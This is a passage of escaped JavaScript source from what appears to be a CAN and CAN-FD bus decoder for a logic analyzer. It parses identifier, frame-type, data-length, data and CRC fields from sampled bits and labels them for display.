true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 37; c < 41; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \\t// Add the IDE bit\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 15; c < 19; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 35; c < 39; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (rtr_mode == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_DATA;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\t// Skip the data in case of RTR frame\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_CRC;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_DATA:\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\twhile (db < (data_size * 8)) \\t// Read data bits\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tb -= (data_size * 8);\\t// Now interpret those bits as bytes\\n\\t\\t\\t\\tpkt_data = \\\"\\\";\\n\\n\\t\\t\\t\\tfor (i = 0; i < data_size; i++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 8; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + (i * 8) + c];\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D \\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\n\\t\\t\\t\\t\\tpkt_data += int_to_str_hex(val) + \\\" \\\";\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\n\\t\\t\\t\\tb += (data_size * 8);\\n\\t\\t\\t\\tstate = GET_CRC;\\n\\n\\t\\t\\t\\t// TO DO:\\n\\t\\t\\t\\t// correct all start and end samples\\n\\t\\t\\t\\t// add packet for CRC, and error frames\\n\\t\\t\\t\\t// add the packet stop\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_CRC:\\n\\t\\t\\t\\tvar nbr_stf_b = 0;\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\n\\t\\t\\t\\t\\twhile (db-nbr_stf_b < crc_len) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (db % 5 ==0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t\\tnbr_stf_b++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= crc_len;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < crc_len; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\n\\t\\t\\t\\t\\tfor (c = 1; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 